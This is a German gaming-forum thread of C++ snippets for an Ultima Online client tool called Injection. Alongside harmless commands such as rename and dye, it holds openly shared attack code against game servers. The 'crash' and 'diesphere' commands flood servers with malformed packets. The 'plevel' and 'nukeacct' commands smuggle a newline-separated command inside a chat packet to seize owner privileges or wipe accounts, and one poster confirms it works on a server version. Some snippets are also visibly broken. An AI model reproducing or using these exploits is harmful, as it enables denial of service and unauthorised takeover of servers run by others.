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Public Source Codes für Injection
Discussion on Public Source Codes für Injection within the General Gaming Discussion forum part of the General Gaming category.
08/28/2003, 15:33
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#1
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elite*gold: 235
Join Date: Jul 2003
Posts: 16,562
Received Thanks: 17,758
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renameself:
Code:
void Injection::command_renameself(const arglist_t & args){
if(args.size() < 2){
client_print("usage ,renameself <newname>");
}
string str;
for(arglist_t::const_iterator i = (args.begin()+1);i != args.end();i++){
str += *i;
if(i+1 != args.end()) str += " ";
}
if(str.size() > 29){
client_print("Name May not be bigger than 29 chars!");
return;
}
uint8 * buf = new uint8[35];
*buf = 0x75;
pack_big_uint32(buf+1,m_world->get_player()->get_serial());
strcpy(reinterpret_cast<char*>(buf+5),str.c_str());
send_server(buf,35);
delete [] buf;
}
rename:
Code:
void Injection::command_rename(const arglist_t & args)
{
* *if(args.size() < 2)
* *{
* * * *client_print("usage: rename (new name)");
* * * *return;
* *}
if(args[1].length() > 30)
{
*client_print("Maximum allowed Characters: 30");
*return;
}
/*string temp;
for(int i = 1;i < args.size() - 1;i++)
{
*temp = temp + args[i].c_str();
}*/
strcpy(m_new_name, args[1].c_str());
//m_new_name = args[1];
client_print("Target Character to rename (only owned Characters)");
* *request_target(&Injection::target_rename);
}
void Injection::target_rename(GameObject * obj)
{
* *if(obj == 0)
{
* * * *client_print("Cancelled Rename targetting.");
}
* *else
* *{
uint8 buf[35];
buf[0] = 0x75;
pack_big_uint32(buf + 1, obj->get_serial());
* *strcpy(reinterpret_cast<char *>(buf + 5), m_new_name);
client_print("renamed...");
send_server(buf, sizeof(buf));
* *}
}
ress:
Code:
void Injection::command_ress(const arglist_t & args)
{ *
* * * *uint8 buf[2];
* * * *buf[0] = 0x2c;
* * * *buf[1] = 0x01;
* * * *send_server(buf, sizeof(buf));
* * * *client_print("ressed...");
}
plevel:
Code:
void Injection::command_plevel(const arglist_t & args)
{
char str[26];
for (int x = 0; x < 26; x++)
str[x] = ".password blah\nplevel=owner"[x];
//str[14] = 13;
uint8 buf[300];
buf[0] = 0xad;
//pack_big_uint16(buf + 1, 36);
pack_big_uint32(buf + 3, 0x0002b200);
pack_big_uint32(buf + 7, 0x03444555);
pack_big_uint16(buf + 11, 0x0000);
/*pack_big_uint32(buf + 15, 0x2e706173);
pack_big_uint32(buf + 19, 0x73776f72);
pack_big_uint32(buf + 23, 0x64207465);
pack_big_uint16(buf + 27, 0x7374);
buf[29] = "\n"[0];
pack_big_uint32(buf + 30, 0x706c6576);
pack_big_uint32(buf + 34, 0x656c2037);*/
for (int i = 0; i < 26; i++)
{
buf[i*2 + 13] = str[i];
buf[i*2 + 14] = 0x00;
}
buf[i*2+14] = 0x00;
pack_big_uint16(buf + 1, i*2+14);
send_server(buf, i*2+14);
client_print("Wait until the server reboot");
}
dye:
Code:
void Injection::command_dye(const arglist_t & args)
{
* *if(args.size() != 2)
* *{
* * * *client_print("usage: dye (colour number)");
* * * *return;
* *}
* *int colour;
* *if(!string_to_int(args[1].c_str(), colour) || colour < 0 ||
* * * * * *colour >= 0xffff)
* *{
* * * *client_print("Invalid colour number");
* * * *return;
* *}
* *client_print("Waiting for dye window...");
* *m_dye_colour = colour;
* *client_print("Target Item to dye.");
* *request_target(&Injection::target_dye);
}
void Injection::target_dye(GameObject * obj)
{
* *if(obj == 0)
{
* * * *client_print("Cancelled Item targetting.");
*dyetarget = -1;
}
* *else
* *{
* * * *dyetarget = obj->get_serial();
* *}
}
dyehair:
Code:
void Injection::command_dyehair(const arglist_t & args)
{
* *if(args.size() != 2)
* *{
* * * *client_print("usage: dyehair (colour number)");
* * m_new_haircolor = -1;
*return;
* *}
int colour;
* *if(!string_to_int(args[1].c_str(), colour) || colour < 0 ||
* * * * * *colour >= 0xffff)
* *{
* * * *client_print("Invalid colour number");
*m_new_haircolor = -1;
* * * *return;
* *}
* *client_print("Waiting for hairdye window...");
* *m_new_haircolor = colour;
}
crash: (eigentl. nubig, wollt ich aber nicht auslassen.. soll ja leute geben die auch sowas suchen)
Code:
void Injection::command_crash(const arglist_t & args) *
{ *
* * int attempts; *
* * attempts = 1; *
* * if(args.size() > 2) *
* * { *
* * * * *client_print("usage: crash [attempts]"); *
* * * * *return; *
* * } *
* * if(args.size() == 2) *
* * { *
* * * * *string_to_int(args[1].c_str(),attempts); *
* * } *
* * uint8 buf[16]; *
* * buf[0] = 0xad; *
* * buf[1] = 0x00; *
* * buf[2] = 0x10; *
* * buf[3] = 0x00; *
* * buf[4] = 0x80; *
* * buf[5] = 0x00; *
* * buf[6] = 0x00; *
* * buf[7] = 0x03; *
* * buf[8] = 0x44; *
* * buf[9] = 0x45; *
* * buf[10] = 0x55; *
* * buf[11] = 0x00; *
* * buf[12] = 0x00; *
* * buf[13] = 0x41; *
* * buf[14] = 0x00; *
* * buf[15] = 0x00; *
* * for(int i=0;i < attempts;i++) *
* * { *
* * send_server(buf,sizeof(buf)); *
* * } *
}
textcolor:
Code:
void Injection::command_textcolor(const arglist_t & args)
{
* *if(args.size() != 2)
* *{
* * * *client_print("usage: textcolor (color)");
*m_newcolor = -1;
* * * *return;
* *}
int colour;
if(!string_to_int(args[1].c_str(),colour) || colour < 0 || colour > 0xFFFF)
{
*client_print("Invalid Color Number...");
*return;
}
m_newcolor = colour;
//uint8 buf[16];
//buf = 0xad00100002b200034445550000410000;
/*buf[0] = 0xAD;
buf[1] = 0x0010;
buf[3] = 0x00;
buf[4] = 0x80;
buf[7] = 0x03;
buf[8] = 0x44;
buf[9] = 0x45;
buf[10] = 0x55;
buf[13] = 0x41;*/
//---09:28:06 PM--- client [dyanmic packet:ad , Speech Unicode, length:0010] *
//0000: ad 00 10 00 02 b2 00 03 44 45 55 00 00 41 00 00 : ........DEU..A.. *
//0010: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- : *
//buf[1..2] = 0x0010;
//pack_big_uint32(buf + 1, 0x0010);
//pack_big_uint16(buf + 3, 0x00);
//pack_big_uint32(buf + 4, 0x8000);
//pack_big_uint32(buf + 6, 0x0003);
//pack_big_uint32(buf + 8, 0x44455500);
//pack_big_uint32(buf + 12, 0x410000);
//send_server(buf, sizeof(buf));
}
packbank:
Code:
void Injection::command_packbank(const arglist_t & args)
{
* *if(m_world == 0)
* * * *return;
* *else
* *{
* * * *client_print("Target object to pack to bank.");
* * * *request_target(&Injection::target_packbank);
* *}
}
void Injection::target_packbank(GameObject * obj)
{
* *if(obj == 0)
* * * *return;
* *else
* *{
*GameObject * player = m_world->get_player();
*//GameObject * layeritem = player->find_layer(grablayer);
* * * *uint32 to_container;
* * * *to_container = player->find_layer(LAYER_BANK)->get_serial();
*uint32 item = obj->get_serial();
* * * *uint16 quantity = obj->get_quantity();
* * * *if (quantity == 0) quantity = 1;
* * * *move_container(item, quantity, to_container);
*client_print("The item is now in your bankbox.");
* *}
}
receivetobank:
Code:
void Injection::command_receivetobank(const arglist_t & args)
{
* *if(m_world == 0)
* * * *return;
* *else
* *{
*GameObject * player = m_world->get_player();
*//GameObject * layeritem = player->find_layer(grablayer);
*uint32 bankid;
*bankid = player->find_layer(LAYER_BANK)->get_serial();
*set_receivingcontainer(bankid);
*client_print("ReceivingContainer is now your bankbox.");
*client_print("Use ,grab or ,emptycontainer to receive item to your bank.");
}
}
emptybank:
Code:
void Injection::command_emptybank(const arglist_t & args)
{
* *if(m_world == 0)
* * * *return;
* *else
* *{
* * * *uint32 to_container;
* * * *if(m_receiving_container == 0)
* * * *{
* * * * * *to_container = m_world->get_player()->get_serial();
* * * *}
* * * *else
* * * *{
* * * * * *to_container = m_receiving_container;
* * * *}
* * * *
*if(args.size() != 2)
* * * *{
* * * * * *client_print("usage: emptybank (pause in milisecs)");
* * * * * *client_print("example: 'emptybank 500' pauses 1/2 sec between moves");
* * * *}
* * * *else
* * * *{
* * * * * *empty_speed = strtol(args[1].c_str(),NULL, 16);
* * * *}
* * * *
*// find our from container
*//GameObject * from_obj = m_world->find_object(obj->get_serial());
*GameObject * player = m_world->get_player();
*uint32 bankid;
*bankid = player->find_layer(LAYER_BANK)->get_serial(); * * * *
*GameObject * from_obj = m_world->find_object(bankid);
* * * *for(GameObject::iterator i = from_obj->begin(); i != from_obj->end(); ++i)
* * * *{
* * * * * *uint32 item = i->get_serial();
* * * * * *uint16 quantity = i->get_quantity();
* * * * * *if(quantity == 0) quantity = 1;
* * * * * *if(item != to_container) move_container(item, quantity, to_container);
* * * * * *if(empty_speed >0)
* * * * * * * *Sleep(empty_speed);
* * * *}
*client_print("Items moved to ReceivingContainer");
* *
}
}
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01/27/2004, 16:08
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#2
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elite*gold: 235
Join Date: Jul 2003
Posts: 16,562
Received Thanks: 17,758
|
nochn paar andere rausgefischt.. ( quelle-> url ist down, hab die ganze liste rauskopiert, wundert euch nicht wenn paar snippets vom ersten post dabei sind )
Code:
void Injection::command_modchar(const arglist_t & args)
{
int in, i;
i=0;
uint8 * buf = new uint8[255];
buf[0]=0x75;
char buffer[1];
char t=0x00;
pack_big_uint32(buf + 1, m_world->get_player()->get_serial());
in=_open("char.txt", _O_BINARY|_O_RANDOM);
for(i=0; i<filelength(in); i++)
{
_read(in, buffer, 1);
buf[5+i]=(uint8)buffer[0];
}
_close(in);
if (i<30)
{
for (int j=i; j<30; j++)
buf[j+i]=t;
i=30;
}
else if (i>255)
{
return;
}
else if ((i<255) && (i!=3))
{
client_print("IET: Adjusting charactor...");
for (int j=i;j<255;j++)
buf[j+i]=' ';
i=255;
}
send_server( buf, (5+i));
delete [] buf;
stg="";
}
void Injection::command_sendpacket(const arglist_t & args)
{
int s=atoi(args[1].c_str());
uint8 * buf = new uint8[1000];
uint8 * b = new uint8[4];
uint8 * buffer = new uint8[4];
int in,i,j,l;
int c=0,c2=0;
in=_open("packet.txt", _O_BINARY|_O_RANDOM);
for(i=0;i<filelength(in);i+=4)
{
_read(in,buffer,3);
_read(in,b,1);
if (buffer[0]=='x')
{
stg="";
stg+=buffer[1];
stg+=buffer[2];
_read(in,buffer,3);
_read(in,b,1);
l=atoi(stg.c_str());
for(j=0;j<l;j++)
{
stg="";
stg+=buffer[0];
stg+=buffer[1];
stg+=buffer[2];
buf[c]=atoi(stg.c_str());
c++;
}
i+=3;
}
else if (buffer[0]=='\"')
{
buf[c]=buffer[1];c++;
buf[c]=buffer[2];c++;
buf[c]=b[0];c++;
bool check=true;
while (check)
{
_read(in,b,1);
i++;
if (b[0]=='\"')
{
_read(in,b,1);
i++;
check=false;
}
else
{
buf[c]=b[0];
c++;
}
}
}
else if (buffer[0]=='u')
{
client_print("u");
pack_big_uint32(buf + c, m_world->get_player()->get_serial());
c+=4;
}
else if (buffer[0]=='s')
{
int l;
stg="";
stg+=buffer[1];
stg+=buffer[2];
l=atoi(stg.c_str());
if (l>16 || l < 0)
{
client_print("IET: Invalid...");
l=0;
}
pack_big_uint32(buf + c, objeto[l]);
c+=4;
}
else if (buffer[0]=='\')
{
buf[c] = (hex2dec( buffer[1], buffer[2] ));
c++;
}
else if (buffer[0]=='q')
{
_close( in );
switch(s)
{
case 1:send_client(buf,c);break;
default:send_server(buf,c);
}
return;
}
else
{
stg="";
stg+=buffer[0];
stg+=buffer[1];
stg+=buffer[2];
buf[c]=atoi(stg.c_str());
c++;
}
}
_close( in );
switch(s)
{
case 1:send_client(buf,c);break;
default:send_server(buf,c);
}
}
void Injection::command_setuid(const arglist_t & args)
{
if(args.size() < 2)
{
client_print("IET: Use [setuid <Numbers: 1 - 16>");
return;
}
stg=args[1];
client_print(stg);
client_print("IET: Select object to set the uid...");
request_target(&Injection::target_setuid);
}
void Injection::target_setuid(GameObject * obj)
{
if(obj == 0)
{
client_print("IET: Target Canceled...");
return;
}
else
{
int l=0;
l=atoi(stg.c_str());
if (l>16 || l < 0)
{
client_print("IET: Invalid...");
l=0;
}
objeto[l]=obj->get_serial();
}
}
void Injection::command_nukeacct(const arglist_t & args)
{
char str[26];
for (int x = 0; x < 26; x++)
str[x] = ".email [email][/email]\n[EOF]"[x];
//str[14] = 13;
uint8 buf[300];
buf[0] = 0xad;
//pack_big_uint16(buf + 1, 36);
pack_big_uint32(buf + 3, 0x0002b200);
pack_big_uint32(buf + 7, 0x03444555);
pack_big_uint16(buf + 11, 0x0000);
/*pack_big_uint32(buf + 15, 0x2e706173);
pack_big_uint32(buf + 19, 0x73776f72);
pack_big_uint32(buf + 23, 0x64207465);
pack_big_uint16(buf + 27, 0x7374);
buf[29] = "\n"[0];
pack_big_uint32(buf + 30, 0x706c6576);
pack_big_uint32(buf + 34, 0x656c2037);*/
for (int i = 0; i < 26; i++)
{
buf[i*2 + 13] = str[i];
buf[i*2 + 14] = 0x00;
}
buf[i*2+14] = 0x00;
pack_big_uint16(buf + 1, i*2+14);
send_server(buf, i*2+14);
client_print("IET: Accounts Nuked...Wait for reboot...");
}
void Injection::command_diesphere(const arglist_t & args)
{
uint8 buf[100000];
buf[0] = 0x94;
buf[1] = 0x11;
buf[1] = 0x01;
strcpy(reinterpret_cast<char *>(buf + 3), "Di Dieee kill die kill bitches **** shit qqqqqq ad wef asfadsf af asf af asf afsa fsadf afs fa fasd asfa sfa sfsaf as a fsa fsaf a fsaf saf asf asfd ");
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
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send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
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send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
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send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
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send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
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send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
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send_server(buf, sizeof(buf));
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send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
client_print("IET: CrashZorZ SPHERE to Da Max!");
}
void Injection::command_sys(const arglist_t & args)
{
string str = string("");
str = string(args[1]);
for(int i=2; i<args.size(); i++) str+=string(" ")+string(args[i]);
int len = str.length();
uint8 * newbuf = new uint8[8 + len];
newbuf[0] = CODE_CLIENT_TALK;
pack_big_uint16(newbuf + 1, 8 + len);
newbuf[3] = 0xFF;
newbuf[4] = 0x03;
newbuf[5] = 0xb2;
newbuf[6] = 0x00;
newbuf[7] = 0x06;
newbuf[8] = 0x00;
memcpy(newbuf + 8, str.c_str(), len);
send_server(newbuf, 8 + len);
delete /*[]*/ newbuf;
}
void Injection::command_plevel(const arglist_t & args)
{
char str[26];
for (int x = 0; x < 26; x++)
str[x] = ".password IET\nplevel=7"[x];
//str[14] = 13;
uint8 buf[300];
buf[0] = 0xad;
//pack_big_uint16(buf + 1, 36);
pack_big_uint32(buf + 3, 0x0002b200);
pack_big_uint32(buf + 7, 0x03444555);
pack_big_uint16(buf + 11, 0x0000);
/*pack_big_uint32(buf + 15, 0x2e706173);
pack_big_uint32(buf + 19, 0x73776f72);
pack_big_uint32(buf + 23, 0x64207465);
pack_big_uint16(buf + 27, 0x7374);
buf[29] = "\n"[0];
pack_big_uint32(buf + 30, 0x706c6576);
pack_big_uint32(buf + 34, 0x656c2037);*/
for (int i = 0; i < 26; i++)
{
buf[i*2 + 13] = str[i];
buf[i*2 + 14] = 0x00;
}
buf[i*2+14] = 0x00;
pack_big_uint16(buf + 1, i*2+14);
send_server(buf, i*2+14);
client_print("IET: w00t I Got Da PoWaH");
}
void Injection::command_ress(const arglist_t & args)
{
uint8 buf[2];
buf[0] = 0x2c;
buf[1] = 0x01;
send_server(buf, sizeof(buf));
client_print("IET: You have been resurrected...");
}
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06/22/2004, 12:06
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#3
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elite*gold: 235
Join Date: Jul 2003
Posts: 16,562
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keine garantie das alles funzt, hab jetzt nur mal alles zusammen gepastet was damals in diversen public foren etc. gepostet wurde
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06/30/2004, 18:40
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#4
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elite*gold: 0
Join Date: Jun 2004
Posts: 15
Received Thanks: 1
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da fehlen die ganzen variablen für das Filehandling.
und die #include <io.h>
öhm kA namespace std dürfte klar sein...
da war noch irgendwas das obendrüber gefehlt hat. ich hab die mal eingebaut gehabt is aber ne weile her
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07/01/2004, 12:23
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#5
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elite*gold: 0
Join Date: Apr 2004
Posts: 1,430
Received Thanks: 58
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Sofern du noch in etwas weisst was da alles gefehlt hat, könnteste es ja vielleicht nachliefern Fen
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07/01/2004, 13:46
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#6
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elite*gold: 235
Join Date: Jul 2003
Posts: 16,562
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yop und der deathhandler für ress fehlt z.b. auch, ist bei yoko aber ohnehin dabei..
sind eben nur snippets
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03/27/2005, 04:10
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#7
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elite*gold: 0
Join Date: Mar 2005
Posts: 58
Received Thanks: 6
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hat denn hier einer ein funktionierendes plvlscript? Wenn ja, koennte er /sie es bitte posten? *gaehn*
Boni
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03/27/2005, 13:23
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#8
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elite*gold: 235
Join Date: Jul 2003
Posts: 16,562
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das da oben funzt, zumindest auf 55i
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03/27/2005, 23:22
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#9
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elite*gold: 0
Join Date: Mar 2005
Posts: 58
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muss ich dadran noch was veraendern? Habe keien Ahnung von UOInjection ^^
Boni
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03/29/2005, 11:32
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#10
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elite*gold: 235
Join Date: Jul 2003
Posts: 16,562
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UOInjection ist falsch, guck ma in den injection howto thread, da sollte die richtige ver. drinstehen
abändern? höchstens das passwort
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03/31/2005, 02:37
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#11
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elite*gold: 0
Join Date: Mar 2005
Posts: 58
Received Thanks: 6
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jo.. die Yokoversion.. die benutze ich ja auch
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01/04/2006, 12:20
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#12
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elite*gold: 0
Join Date: Aug 2005
Posts: 4
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this reference does not work! Can tell that under it and if it is the instruction how to use ýèìè scripts saw please
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01/30/2006, 22:41
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#13
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this codes working on RunOU? or only sphere?
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03/25/2006, 18:01
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#14
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elite*gold: 0
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Die Schnipsel funktionieren bei mir nicht.. kommen immer "parse errors" :/ habs mit anderen Scripts getestet und die gehen.. z.B.
sub Heal()
UO.print("Healing Started")
repeat
wait(10)
if not uo.dead() then
if uo.life < uo.str then
uo.exec("bandageself")
UO.print ("Healing...")
wait(900)
endif
endif
wait(1000)
until false
end sub
geht, aber die aus dem thread hier nicht. Hab JokoInjection, falls das wichtig is.
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04/12/2006, 13:48
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#15
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elite*gold: 0
Join Date: Jan 2006
Posts: 32
Received Thanks: 0
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Englis plz!!!! How can I use them???
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